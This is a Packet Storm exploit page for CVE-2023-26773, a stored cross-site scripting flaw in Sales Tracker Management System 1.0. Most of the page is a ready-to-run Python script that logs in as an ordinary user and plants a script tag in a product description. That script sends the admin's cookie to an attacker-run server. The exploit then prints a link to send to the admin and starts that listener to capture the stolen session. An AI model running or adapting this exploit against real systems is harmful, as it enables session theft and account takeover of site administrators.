exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Sales Tracker Management System 1.0 Cross Site Scripting

Sales Tracker Management System 1.0 Cross Site Scripting
Posted Apr 5, 2023
Authored by Achuth V P

Sales Tracker Management System version 1.0 suffers from a cross site scripting vulnerability.

tags | exploit, xss
advisories | CVE-2023-26773
SHA-256 | 5f6e59696ca0ff9f4890d4eda413fddbf9dd4ec51761c6ba45d006c94094720d

Sales Tracker Management System 1.0 Cross Site Scripting

Change Mirror Download
# Exploit Title: Sales Tracker Management System v1.0 - One click account takeover XSS
# Exploit Author: Achuth V P (retrymp3)
# Date: February 08, 2023
# CVE: CVE-2023-26773
# Vendor Homepage: https://www.sourcecodester.com/php/16061/sales-tracker-management-system-using-php-free-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=16061&title=Sales+Tracker+Management+System+using+PHP+Free+Source+Code
# Tested on: Ubuntu, Apache, Mysql
# Vendor: oretnom23
# Version: v1.0
# Exploit Description: Sales Tracker Management System v1.0 suffers from XSS which results in one click account take over by stealing cookies.

import requests
from requests.auth import HTTPBasicAuth
import http.server
import socketserver
import argparse
from colorama import (Fore as F, Back as B, Style as S)
BR,FT,FR,FG,FY,FB,FM,FC,ST,SD,SB = B.RED,F.RESET,F.RED,F.GREEN,F.YELLOW,F.BLUE,F.MAGENTA,F.CYAN,S.RESET_ALL,S.DIM,S.BRIGHT


def expServer():
Handler = http.server.SimpleHTTPRequestHandler
PORT = 8000 #You can change.
with socketserver.TCPServer(("", PORT), Handler) as httpd:
print("serving at port", PORT)
httpd.serve_forever()

def auth():
print("Enter the username and password for a normal user")
user=input("Username: ")
passwd=input("Password: ")
auth = HTTPBasicAuth(user, passwd)
params = {'username': user, 'password': passwd}
#proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
#proxies=proxies give it as an argument to requests.get() to proxy it through burp.
req=requests.post(url+'classes/Login.php?f=login',data=params)

def payL():
tf=requests.post(url+'/classes/Master.php?f=save_product',
files=(
('id', (None, '1')),
('code', (None, '123456')),
('name', (None, 'xssssssREssss')),
('description', (None, '<script>document.location="http://0.0.0.0:8000/?cookie="+document.cookie</script>')),
('price', (None, '355.19')),
('status', (None, '1'))
)
)
if (tf):
print("Send this to admin: "+FR+url+"admin/products/view_product.php?id=1"+FR+"\n")
print(FC+"When admin clicks on the link you can see admin's cookie in the request log of the python server"+FY+"\n")
else:
print("Bad request. Check the url")

def bullet(char,color):
C=FB if color == 'B' else FR if color == 'R' else FG
return SB+C+'['+ST+SB+char+SB+C+']'+ST+' '


def sig():
SIG = SB+FY+" "+FR+".-----..___.._____. "+FY+"\n"
SIG += FY+" | .. >||__-__-_| \n"
SIG += FY+" "+FR+"| |.' ,||_______ "+FY+"\n"
SIG += FY+" | _ < ||__-__-_|"+FR+"* * *"+FY+" \n"
SIG += FY+" | |\ \ ||__-__-_\n"
SIG += FY+" "+FR+"|___ \_ \||_______| "+FY+"\n"
SIG += FY+"\n"+" _____"+FR+"github.com/retrymp3"+FY+"_____\n"+ST
return SIG

def argsetup():
about = SB+FT+'Admin account takeover - Sales Tracking Manager v1.0\n'+ST
return about


if __name__ == "__main__":
header = SB+FT+"\n"+' '+FR+'retrymp3\n'+ST
print(header)
print(sig())
print(argsetup())
url=input("Enter the base url: ")
auth()
payL()
expServer()
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close